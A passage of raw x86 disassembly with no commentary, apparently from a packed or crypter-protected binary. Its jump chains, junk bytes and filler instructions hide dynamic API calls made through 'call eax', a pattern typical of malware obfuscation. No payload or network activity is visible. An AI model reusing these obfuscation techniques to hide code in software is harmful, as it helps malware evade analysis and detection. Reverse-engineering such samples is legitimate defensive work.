83h mov cx, 4938h cld pop eax pop ecx mov esi, [ebp+8] jmp short loc_4022DD ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 loc_4022B3: ; CODE XREF: sub_4021E2:loc_4022DDj jmp short loc_4022F0 ; --------------------------------------------------------------------------- db 37h, 0A4h, 0Dh dd 910D3C2h, 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h dd 356C1FBEh, 0B1583BCAh, 0ED041796h, 0E970B322h db 6Eh ; --------------------------------------------------------------------------- loc_4022DD: ; CODE XREF: sub_4021E2+CCj jmp short loc_4022B3 ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl loc_4022F0: ; CODE XREF: sub_4021E2:loc_4022B3j mov edx, [ebp+0Ch] jmp short loc_402321 ; --------------------------------------------------------------------------- db 91h, 0F6h, 0F7h dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h ; --------------------------------------------------------------------------- loc_40230C: ; CODE XREF: sub_4021E2:loc_402321j jmp short loc_402338 ; --------------------------------------------------------------------------- dw 3900h dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h, 0A93073E2h db 2Eh ; --------------------------------------------------------------------------- loc_402321: ; CODE XREF: sub_4021E2+111j jmp short loc_40230C ; --------------------------------------------------------------------------- db 0CFh ; --------------------------------------------------------------------------- pop esp loc_402325: ; CODE XREF: sub_4021E2:loc_402338j jmp short loc_402357 ; --------------------------------------------------------------------------- db 65h dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh ; --------------------------------------------------------------------------- loc_402338: ; CODE XREF: sub_4021E2:loc_40230Cj jmp short loc_402325 ; --------------------------------------------------------------------------- dw 0DBEAh ; --------------------------------------------------------------------------- js short loc_40238F mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- sar cl, 3Eh loc_402357: ; CODE XREF: sub_4021E2:loc_402325j add esi, edx push ecx push esi jmp loc_402362 ; --------------------------------------------------------------------------- db 87h, 0F6h ; --------------------------------------------------------------------------- loc_402362: ; CODE XREF: sub_4021E2+179j push ecx pop ecx mov ecx, 80A8DAh mov esi, 8188DAh cmc cmp al, 0DCh xor ecx, edi test ecx, ecx inc ecx cld pop esi pop ecx loc_402379: ; CODE XREF: sub_4021E2:loc_40348Aj mov eax, [esi+0Ch] jmp short loc_4023AB ; --------------------------------------------------------------------------- test [ebp-5Eh], ch loc_402381: ; CODE XREF: sub_4021E2:loc_4023ABj jmp short loc_4023BE ; --------------------------------------------------------------------------- db 33h dd 8FEE69F0h, 0ABFA251Ch db 8, 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_40238F: ; CODE XREF: sub_4021E2+15Aj xchg esi, [ebp+ebx*8-26DFDCAEh] sahf jg short loc_4023E5 xchg eax, ebp stosb wait cmp [ecx], dl jbe short loc_402417 in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd jl short near ptr loc_4023AE+1 pop edx loc_4023AB: ; CODE XREF: sub_4021E2+19Aj jmp short loc_402381 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4023AE: ; CODE XREF: sub_4021E2:loc_4023BEj ; sub_4021E2+1C6j jmp short loc_4023D9 ; --------------------------------------------------------------------------- dd 67268168h, 3B2BD14h, 5FFEB980h db 0ACh, 75h ; --------------------------------------------------------------------------- loc_4023BE: ; CODE XREF: sub_4021E2:loc_402381j jmp short loc_4023AE ; --------------------------------------------------------------------------- or bh, [ebx-68h] loc_4023C3: ; CODE XREF: sub_4021E2:loc_4023D9j jmp short loc_4023F4 ; --------------------------------------------------------------------------- db 0F1h, 0D6h, 57h dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h db 74h ; --------------------------------------------------------------------------- loc_4023D9: ; CODE XREF: sub_4021E2:loc_4023AEj jmp short loc_4023C3 ; --------------------------------------------------------------------------- db 9Dh dd 99E0E312h, 550C3F5Eh db 6Ah ; --------------------------------------------------------------------------- loc_4023E5: ; CODE XREF: sub_4021E2+1B5j pop ebx clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_4023F4: ; CODE XREF: sub_4021E2:loc_4023C3j test eax, eax jz loc_403497 jmp short loc_402418 ; --------------------------------------------------------------------------- dw 0D427h ; --------------------------------------------------------------------------- jge short loc_402474 retn ; --------------------------------------------------------------------------- db 40h db 79h ; --------------------------------------------------------------------------- loc_402405: ; CODE XREF: sub_4021E2:loc_402418j jmp short loc_40242F ; --------------------------------------------------------------------------- db 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h db 0B3h, 70h, 0E9h ; --------------------------------------------------------------------------- loc_402417: ; CODE XREF: sub_4021E2+1BCj outsb loc_402418: ; CODE XREF: sub_4021E2+21Aj jmp short loc_402405 ; --------------------------------------------------------------------------- dw 9C0Fh db 0A5h, 7Ah ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_4021E2:loc_40242Fj jmp short loc_40244E ; --------------------------------------------------------------------------- dd 4621882Bh, 0D25D3407h, 1E59A0A3h db 0FFh, 0CCh, 15h ; --------------------------------------------------------------------------- loc_40242F: ; CODE XREF: sub_4021E2:loc_402405j jmp short loc_40241E ; --------------------------------------------------------------------------- db 2Ah, 1Bh, 0B8h dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h dd 83323Dh db 39h, 7Eh ; --------------------------------------------------------------------------- loc_40244E: ; CODE XREF: sub_4021E2:loc_40241Ej add eax, edx push ecx push ebx cmc mov ecx, 80AA1Ah mov ecx, 80A09Ah cld pop ebx pop ecx mov ebx, eax jmp short loc_402491 ; --------------------------------------------------------------------------- sbb [ecx+56h], dh loc_402467: ; CODE XREF: sub_4021E2:loc_402491j jmp short loc_4024A4 ; --------------------------------------------------------------------------- db 0D7h, 0C4h, 0ADh dd 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- loc_402474: ; CODE XREF: sub_4021E2+21Ej cmp ch, bl dec eax loope loc_40247F mov esp, 6063921Dh loc_40247F: ; CODE XREF: sub_4021E2+295j sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_4024D9 loc_402488: ; CODE XREF: sub_4021E2+30Cj mov dh, 0B7h and al, 8Dh inc edx push ebx nop ; --------------------------------------------------------------------------- db 89h db 8Eh ; --------------------------------------------------------------------------- loc_402491: ; CODE XREF: sub_4021E2+280j jmp short loc_402467 ; --------------------------------------------------------------------------- db 0AFh dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h, 9F3EF9C0h ; --------------------------------------------------------------------------- loc_4024A4: ; CODE XREF: sub_4021E2:loc_402467j ; sub_4021E2+323j ... push eax jmp short loc_4024D3 ; --------------------------------------------------------------------------- fdiv dword ptr [ecx] push ss xchg eax, edi test [ebp-5Eh], ch loc_4024AE: ; CODE XREF: sub_4021E2:loc_4024D3j jmp short loc_4024E3 ; --------------------------------------------------------------------------- dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h dd 0AA954C7Fh, 7611389Bh, 24DE477h ; --------------------------------------------------------------------------- adc edx, [eax+49h] loc_4024D3: ; CODE XREF: sub_4021E2+2C3j jmp short loc_4024AE ; --------------------------------------------------------------------------- db 4Eh, 6Fh, 7Ch db 5 ; --------------------------------------------------------------------------- loc_4024D9: ; CODE XREF: sub_4021E2+2A4j pop edx mov ebp, [eax-7Fh] db 26h, 67h adc al, 0BDh mov dl, 3 loc_4024E3: ; CODE XREF: sub_4021E2:loc_4024AEj push 0A48D6762h jmp short loc_40251A ; --------------------------------------------------------------------------- pop edi lodsb jnz short loc_4024F8 jnp short loc_402488 icebp loc_4024F1: ; CODE XREF: sub_4021E2:loc_40251Aj jmp short loc_402531 ; --------------------------------------------------------------------------- db 0D6h dd 622D4457h ; --------------------------------------------------------------------------- loc_4024F8: ; CODE XREF: sub_4021E2+30Aj rep mov al, 29h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_4024A4 adc ah, bl loopne loc_4024A4 pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb ; --------------------------------------------------------------------------- dw 0C20Dh ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl loc_40251A: ; CODE XREF: sub_4021E2+306j jmp short loc_4024F1 ; --------------------------------------------------------------------------- dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h db 35h ; --------------------------------------------------------------------------- loc_402531: ; CODE XREF: sub_4021E2:loc_4024F1j push dword ptr [ebp+10h] push ebx push edi neg edi mov edi, ebp not edi push ebp pop edi xor ebx, esi mov edi, 80A15Ah xchg edi, edi dec edi clc cld pop edi pop ebx call near ptr sub_401692 jmp short loc_40257C ; --------------------------------------------------------------------------- db 4 db 0EDh, 22h ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4021E2:loc_40257Cj jmp short loc_40258F ; --------------------------------------------------------------------------- dd 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h ; --------------------------------------------------------------------------- loc_40257C: ; CODE XREF: sub_4021E2+36Fj jmp short loc_402556 ; --------------------------------------------------------------------------- dw 0FCEFh dd 0E80BDA85h, 94E7A601h, 83323Dh ; --------------------------------------------------------------------------- cmp [esi-21h], edi loc_40258F: ; CODE XREF: sub_4021E2:loc_402556j call eax push ebx push esi push esi pop ebx dec esi cld pop esi pop ebx test eax, eax jnz loc_402697 push ebx push esi xor esi, esp mov bx, 49A4h mov si, 4E52h inc ebx cld pop esi pop ebx push ebx jmp short loc_4025CC ; --------------------------------------------------------------------------- dd 3073E2ADh db 0A9h, 2Eh, 0CFh ; --------------------------------------------------------------------------- loc_4025BB: ; CODE XREF: sub_4021E2:loc_4025CCj jmp short loc_4025EB ; --------------------------------------------------------------------------- db 5Ch, 65h, 3Ah dd 6E148EBh, 921DF4C7h, 0DE196063h ; --------------------------------------------------------------------------- loc_4025CC: ; CODE XREF: sub_4021E2+3D0j jmp short loc_4025BB ; --------------------------------------------------------------------------- dw 8CBFh dd 78DBEAD5h ; --------------------------------------------------------------------------- loc_4025D4: ; CODE XREF: sub_4021E2:loc_4025EBj jmp short loc_402602 ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp std loc_4025EB: ; CODE XREF: sub_4021E2:loc_4025BBj jmp short loc_4025D4 ; --------------------------------------------------------------------------- db 0F2h, 43h, 0C0h dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh db 69h, 0EEh ; --------------------------------------------------------------------------- loc_402602: ; CODE XREF: sub_4021E2:loc_4025D4j ; sub_4021E2+486j push 0C8AC8026h push edx push ecx jmp loc_402613 ; --------------------------------------------------------------------------- dec edx inc ecx rcr edx, 16h loc_402613: ; CODE XREF: sub_4021E2+427j xchg ecx, edx mov edx, edx inc ecx cld pop ecx pop edx push dword ptr [ebp+10h] push edx push esi xchg edx, esi xor esi, esi test al, dh dec esi shl edx, 0C6h xchg esi, esi xor esi, ebp cmc cld pop esi pop edx call near ptr sub_401692 jmp short loc_402662 ; --------------------------------------------------------------------------- mov ah, 0DDh push edx loc_40263C: ; CODE XREF: sub_4021E2:loc_402662j jmp short loc_402675 ; --------------------------------------------------------------------------- dw 2023h dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h dd 688B5A05h, 14672681h, 8003B2BDh db 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_402662: ; CODE XREF: sub_4021E2+455j jmp short loc_40263C ; --------------------------------------------------------------------------- pop edi lodsb jnz short near ptr loc_40266E+4 jnp short loc_402602 icebp setalc push edi inc esp loc_40266E: ; CODE XREF: sub_4021E2+484j sub eax, 29B0F362h scasb dec edi loc_402675: ; CODE XREF: sub_4021E2:loc_40263Cj call eax push ebx push esi xchg esi, esi xor esi, edx sub ebx, 809A1Ah xchg esi, ebx lea ebx, ds:81105Ah not ebx xchg esi, esi shl esi, 29h xchg ebx, ebx cld pop esi pop ebx loc_402697: ; CODE XREF: sub_4021E2+3B9j mov [ebp-4], eax jmp short loc_4026C6 ; --------------------------------------------------------------------------- dd 9D744786h db 12h, 0E3h, 0E0h ; --------------------------------------------------------------------------- loc_4026A3: ; CODE XREF: sub_4021E2:loc_4026C6j jmp short loc_4026D6 ; --------------------------------------------------------------------------- db 99h, 5Eh, 3Fh dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch dd 27E64128h, 0C3727DD4h db 40h, 79h ; --------------------------------------------------------------------------- loc_4026C6: ; CODE XREF: sub_4021E2+4B8j jmp short loc_4026A3 ; --------------------------------------------------------------------------- dd 356C1FBEh, 0B1583BCAh, 0ED041796h db 22h, 0B3h ; --------------------------------------------------------------------------- loc_4026D6: ; CODE XREF: sub_4021E2:loc_4026A3j mov dword ptr [ebp-8], 0 jmp short loc_40270F ; --------------------------------------------------------------------------- db 88h dd 34074621h db 5Dh, 0D2h ; --------------------------------------------------------------------------- loc_4026E6: ; CODE XREF: sub_4021E2:loc_40270Fj jmp short loc_402726 ; --------------------------------------------------------------------------- dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h dd 0DA85FCEFh, 0A601E80Bh, 323D94E7h, 7E390083h db 0DFh, 2Ch, 0F5h ; --------------------------------------------------------------------------- loc_40270F: ; CODE XREF: sub_4021E2+4FBj jmp short loc_4026E6 ; --------------------------------------------------------------------------- mov bh, bl sbb [ecx+56h], dh xlat loc_402717: ; CODE XREF: sub_4021E2:loc_402726j jmp short loc_402745 ; --------------------------------------------------------------------------- db 0C4h, 0ADh, 0E2h ; --------------------------------------------------------------------------- jnb short loc_40274E test eax, 655CCF2Eh cmp ch, bl dec eax loc_402726: ; CODE XREF: sub_4021E2:loc_4026E6j jmp short loc_402717 ; --------------------------------------------------------------------------- loc_402728: ; CODE XREF: sub_4021E2:loc_402745j jmp short loc_402755 ; --------------------------------------------------------------------------- dw 6E1h dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h dd 8E899053h ; --------------------------------------------------------------------------- scasd loc_402745: ; CODE XREF: sub_4021E2:loc_402717j jmp short loc_402728 ; --------------------------------------------------------------------------- db 0BCh dd 0A8CB9A45h db 0C1h, 66h ; --------------------------------------------------------------------------- loc_40274E: ; CODE XREF: sub_4021E2+53Aj cmpsd push esp std repne inc ebx ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- stc loc_402755: ; CODE XREF: sub_4021E2:loc_402728j ; sub_4021E2+1122j mov edx, [ebp+0Ch] jmp short loc_402788 ; --------------------------------------------------------------------------- fdiv dword ptr [ecx] push ss xchg eax, edi test [ebp-5Eh], ch loc_402761: ; CODE XREF: sub_4021E2:loc_402788j jmp short loc_402798 ; --------------------------------------------------------------------------- db 33h dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h ; --------------------------------------------------------------------------- loc_402788: ; CODE XREF: sub_4021E2+576j jmp short loc_402761 ; --------------------------------------------------------------------------- dw 57Ch db 5Ah, 8Bh ; --------------------------------------------------------------------------- loc_40278E: ; CODE XREF: sub_4021E2:loc_402798j jmp short loc_4027BB ; --------------------------------------------------------------------------- dd 67268168h, 3B2BD14h ; --------------------------------------------------------------------------- loc_402798: ; CODE XREF: sub_4021E2:loc_402761j jmp short loc_40278E ; --------------------------------------------------------------------------- dw 0B980h dd 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h, 0E5DC4FAEh dd 61C86BBAh, 9D744786h db 12h, 0E3h, 0E0h ; --------------------------------------------------------------------------- loc_4027BB: ; CODE XREF: sub_4021E2:loc_40278Ej mov eax, [esi] push eax push ebx neg eax xor eax, eax std xchg eax, ebx cld pop ebx pop eax test eax, eax jnz loc_402847 jmp short loc_402802 ; --------------------------------------------------------------------------- db 0F8h dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h dd 40C3727Dh, 6C1FBE79h, 583BCA35h ; --------------------------------------------------------------------------- mov cl, 96h loc_4027F6: ; CODE XREF: sub_4021E2:loc_402802j jmp short loc_402825 ; --------------------------------------------------------------------------- pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf loc_402802: ; CODE XREF: sub_4021E2+5EFj jmp short loc_4027F6 ; --------------------------------------------------------------------------- movsd jp short loc_402832 mov [ecx], ah inc esi pop es loc_40280B: ; CODE XREF: sub_4021E2:loc_402825j jmp short loc_402838 ; --------------------------------------------------------------------------- xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_402816: ; CODE XREF: sub_4021E2+653j adc eax, 91B81B2Ah div bh db 64h int 82h xchg eax, ebx ror cl, 1 into out dx, eax loc_402825: ; CODE XREF: sub_4021E2:loc_4027F6j jmp short loc_40280B ; --------------------------------------------------------------------------- cld test ebx, edx or ebp, eax add [esi+323D94E7h], esp loc_402832: ; CODE XREF: sub_4021E2+623j add dword ptr [eax], 39h jle short loc_402816 ; --------------------------------------------------------------------------- db 2Ch ; --------------------------------------------------------------------------- loc_402838: ; CODE XREF: sub_4021E2:loc_40280Bj mov eax, [esi+10h] push esi push ebx not esi cmp ecx, edi inc ebx test eax, eax cld pop ebx pop esi loc_402847: ; CODE XREF: sub_4021E2+5E9j add eax, edx push esi push eax cmp eax, eax add eax, 80889Ah mov si, 48FBh neg eax mov esi, edx xchg eax, esi nop cld pop eax pop esi add eax, [ebp-8] push eax push ecx lea ecx, ds:80A7DAh dec ecx xchg ecx, ecx xor eax, ebx rcl eax, 0F5h mov eax, 8088DAh cld pop ecx pop eax mov ebx, [eax] push edi push ecx xor edi, eax cmc cld pop ecx pop edi mov edi, [esi+10h] jmp short loc_4028B8 ; --------------------------------------------------------------------------- db 30h db 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_4021E2:loc_4028B8j jmp short loc_4028CB ; --------------------------------------------------------------------------- dd 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh dd 0B65178DBh, 428D24B7h, 8E899053h, 9A45BCAFh, 66C1A8CBh ; --------------------------------------------------------------------------- loc_4028B8: ; CODE XREF: sub_4021E2+6A7j jmp short loc_40288E ; --------------------------------------------------------------------------- dw 54A7h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx xchg eax, edi loc_4028CB: ; CODE XREF: sub_4021E2:loc_40288Ej add edi, edx push edx push ebx test eax, esi test cl, al jno short loc_4028DA xchg edx, ebx xchg ebx, ebx inc edx loc_4028DA: ; CODE XREF: sub_4021E2+6F1j not edx lea edx, ds:80A09Ah cld pop ebx pop edx add edi, [ebp-8] push ebx push ecx xor ebx, esp dec ebx cld pop ecx pop ebx test ebx, ebx jz loc_40336C push ebx push eax inc ebx mov ax, 4B89h neg eax mov bx, 48FCh mov eax, edx neg ebx mov eax, ecx adc ebx, 809FDAh cld pop eax pop ebx test ebx, 80000000h jnz loc_402A3B jmp short loc_402951 ; --------------------------------------------------------------------------- mov eax, ds:0DDB487C6h push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short loc_4029AC loc_402935: ; CODE XREF: sub_4021E2:loc_402951j jmp short loc_402961 ; --------------------------------------------------------------------------- db 0E4h dd 5013024Dh, 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh dd 0AC5FFEB9h db 75h ; --------------------------------------------------------------------------- loc_402951: ; CODE XREF: sub_4021E2+73Ej jmp short loc_402935 ; --------------------------------------------------------------------------- or bh, [ebx-68h] loc_402956: ; CODE XREF: sub_4021E2:loc_402961j jmp short loc_402986 ; --------------------------------------------------------------------------- icebp setalc push edi inc esp sub eax, 29B0F362h loc_402961: ; CODE XREF: sub_4021E2:loc_402935j jmp short loc_402956 ; --------------------------------------------------------------------------- db 0AEh dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh dd 36D1F85Bh, 0C20DA437h, 0E0910D3h db 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_402986: ; CODE XREF: sub_4021E2:loc_402956j add ebx, edx push edx push esi mov dx, 4999h mov esi, ebp add edx, 808A5Ah xchg edx, esi stc cld pop esi pop edx inc ebx jmp short loc_4029CA ; --------------------------------------------------------------------------- db 0D4h ; --------------------------------------------------------------------------- jge short loc_402A14 loc_4029A2: ; CODE XREF: sub_4021E2:loc_4029CAj jmp short loc_4029DD ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh ; --------------------------------------------------------------------------- loc_4029AC: ; CODE XREF: sub_4021E2+751j cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_4029E8 mov [ecx], ah inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_4029CA: ; CODE XREF: sub_4021E2+7BBj jmp short loc_4029A2 ; --------------------------------------------------------------------------- db 15h, 2Ah byte_4029CE db 1Bh ; CODE XREF: sub_4021E2+80Bj ; --------------------------------------------------------------------------- loc_4029CF: ; CODE XREF: sub_4021E2:loc_4029DDj jmp short loc_4029F8 ; --------------------------------------------------------------------------- db 0B8h, 91h, 0F6h dd 82CD64F7h, 0CEC9D093h db 0EFh ; --------------------------------------------------------------------------- loc_4029DD: ; CODE XREF: sub_4021E2:loc_4029A2j jmp short loc_4029CF ; --------------------------------------------------------------------------- db 0FCh dd 0E80BDA85h, 94E7A601h ; --------------------------------------------------------------------------- loc_4029E8: ; CODE XREF: sub_4021E2+7D9j cmp eax, 39008332h jle short near ptr byte_4029CE sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- loc_4029F8: ; CODE XREF: sub_4021E2:loc_4029CFj inc ebx jmp short loc_402A28 ; --------------------------------------------------------------------------- db 30h db 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_4029FE: ; CODE XREF: sub_4021E2:loc_402A28j jmp short loc_402A3B ; --------------------------------------------------------------------------- dd 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh ; --------------------------------------------------------------------------- loc_402A14: ; CODE XREF: sub_4021E2+7BEj fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_402A28: ; CODE XREF: sub_4021E2+817j jmp short loc_4029FE ; --------------------------------------------------------------------------- dw 54A7h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx xchg eax, edi loc_402A3B: ; CODE XREF: sub_4021E2+738j ; sub_4021E2:loc_4029FEj push ebx jmp short loc_402A6A ; --------------------------------------------------------------------------- dw 8FEEh dd 0ABFA251Ch db 8 ; --------------------------------------------------------------------------- loc_402A45: ; CODE XREF: sub_4021E2:loc_402A6Aj jmp short loc_402A7A ; --------------------------------------------------------------------------- db 0A1h dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h dd 49501302h, 57C6F4Eh, 81688B5Ah db 26h, 67h ; --------------------------------------------------------------------------- loc_402A6A: ; CODE XREF: sub_4021E2+85Aj jmp short loc_402A45 ; --------------------------------------------------------------------------- dd 3B2BD14h db 80h, 0B9h ; --------------------------------------------------------------------------- loc_402A72: ; CODE XREF: sub_4021E2:loc_402A7Aj jmp short loc_402A9D ; --------------------------------------------------------------------------- dd 75AC5FFEh db 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_402A7A: ; CODE XREF: sub_4021E2:loc_402A45j jmp short loc_402A72 ; --------------------------------------------------------------------------- dd 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h dd 0E3129D74h, 3F5E99E0h, 5B6A550Ch ; --------------------------------------------------------------------------- clc loc_402A9D: ; CODE XREF: sub_4021E2:loc_402A72j and ebx, 7FFFFFFFh jmp short loc_402ACE ; --------------------------------------------------------------------------- or [esi], ecx das loc_402AA8: ; CODE XREF: sub_4021E2:loc_402ACEj jmp short loc_402AE1 ; --------------------------------------------------------------------------- dw 0C53Ch dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh dd 0ED041796h, 0E970B322h, 0A59C0F6Eh ; --------------------------------------------------------------------------- jp short loc_402AF9 loc_402ACE: ; CODE XREF: sub_4021E2+8C1j jmp short loc_402AA8 ; --------------------------------------------------------------------------- dd 7462188h db 34h ; --------------------------------------------------------------------------- loc_402AD5: ; CODE XREF: sub_4021E2:loc_402AE1j jmp short loc_402B01 ; --------------------------------------------------------------------------- db 5Dh dd 59A0A3D2h, 15CCFF1Eh db 2Ah ; --------------------------------------------------------------------------- loc_402AE1: ; CODE XREF: sub_4021E2:loc_402AA8j jmp short loc_402AD5 ; --------------------------------------------------------------------------- db 1Bh db 0B8h, 91h ; --------------------------------------------------------------------------- loc_402AE6: ; CODE XREF: sub_4021E2:loc_402B01j jmp short loc_402B17 ; --------------------------------------------------------------------------- dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh ; --------------------------------------------------------------------------- cmpsb loc_402AF9: ; CODE XREF: sub_4021E2+8EAj out 94h, eax cmp eax, 39008332h ; --------------------------------------------------------------------------- db 7Eh ; --------------------------------------------------------------------------- loc_402B01: ; CODE XREF: sub_4021E2:loc_402AD5j jmp short loc_402AE6 ; --------------------------------------------------------------------------- db 0DFh dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h db 5Ch, 65h, 3Ah ; --------------------------------------------------------------------------- loc_402B17: ; CODE XREF: sub_4021E2:loc_402AE6j push ebx jmp short loc_402B45 ; --------------------------------------------------------------------------- dw 0C706h db 0F4h ; --------------------------------------------------------------------------- loc_402B1D: ; CODE XREF: sub_4021E2:loc_402B45j jmp short loc_402B58 ; --------------------------------------------------------------------------- sbb eax, 19606392h fidivr word ptr [edi-24152A74h] js short loc_402B7D mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h db 3Eh ; --------------------------------------------------------------------------- loc_402B45: ; CODE XREF: sub_4021E2+936j jmp short loc_402B1D ; --------------------------------------------------------------------------- db 9Fh dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_4021E2:loc_402B1Dj push dword ptr [ebp-4] push edx push ecx cmp ecx, eax jno loc_402B67 not edx loc_402B67: ; CODE XREF: sub_4021E2+97Dj mov edx, 80C99Ah cld pop ecx pop edx push 1FC0EAEEh jmp short loc_402BA0 ; --------------------------------------------------------------------------- dw 2352h ; --------------------------------------------------------------------------- and cl, bl sahf jg short loc_402BC9 loc_402B7D: ; CODE XREF: sub_4021E2+948j ; sub_4021E2:loc_402BA0j jmp short loc_402BB1 ; --------------------------------------------------------------------------- db 95h dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah dd 0BD146726h, 0B98003B2h, 75AC5FFEh ; --------------------------------------------------------------------------- loc_402BA0: ; CODE XREF: sub_4021E2+992j jmp short loc_402B7D ; --------------------------------------------------------------------------- or bh, [ebx-68h] loc_402BA5: ; CODE XREF: sub_4021E2+A03j icebp setalc loc_402BA7: ; CODE XREF: sub_4021E2+A00j push edi loc_402BA8: ; CODE XREF: sub_4021E2:loc_402BB1j jmp short loc_402BD8 ; --------------------------------------------------------------------------- dw 2D44h dd 29B0F362h ; --------------------------------------------------------------------------- scasb loc_402BB1: ; CODE XREF: sub_4021E2:loc_402B7Dj jmp short loc_402BA8 ; --------------------------------------------------------------------------- db 4Fh dd 6BBAE5DCh db 0C8h ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_4021E2:loc_402BD8j jmp short loc_402BE8 ; --------------------------------------------------------------------------- db 61h dd 9D744786h, 99E0E312h, 550C3F5Eh db 6Ah ; --------------------------------------------------------------------------- loc_402BC9: ; CODE XREF: sub_4021E2+999j pop ebx clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_402BD8: ; CODE XREF: sub_4021E2:loc_402BA8j jmp short loc_402BB9 ; --------------------------------------------------------------------------- dw 4B1Ah ; --------------------------------------------------------------------------- sub [ecx-1Ah], al daa aam 7Dh jb short loc_402BA7 inc eax jns short loc_402BA5 pop ds loc_402BE8: ; CODE XREF: sub_4021E2:loc_402BB9j push dword ptr [ebp+10h] push eax push edi cmp eax, 808A9Ah lea eax, ds:80CD1Ah not edi std push edx pop edi test eax, ebx cld pop edi pop eax call near ptr sub_401692 push ebx push edi xchg ebx, edi dec ebx cld pop edi pop ebx call eax push eax push edx adc eax, 80889Ah mov dx, 494Bh clc cld pop edx pop eax pop ebx push edx push edi not edx dec edx cmp ah, dl test cl, ch mov edi, 80CA5Ah xor edx, ecx inc edi cld pop edi pop 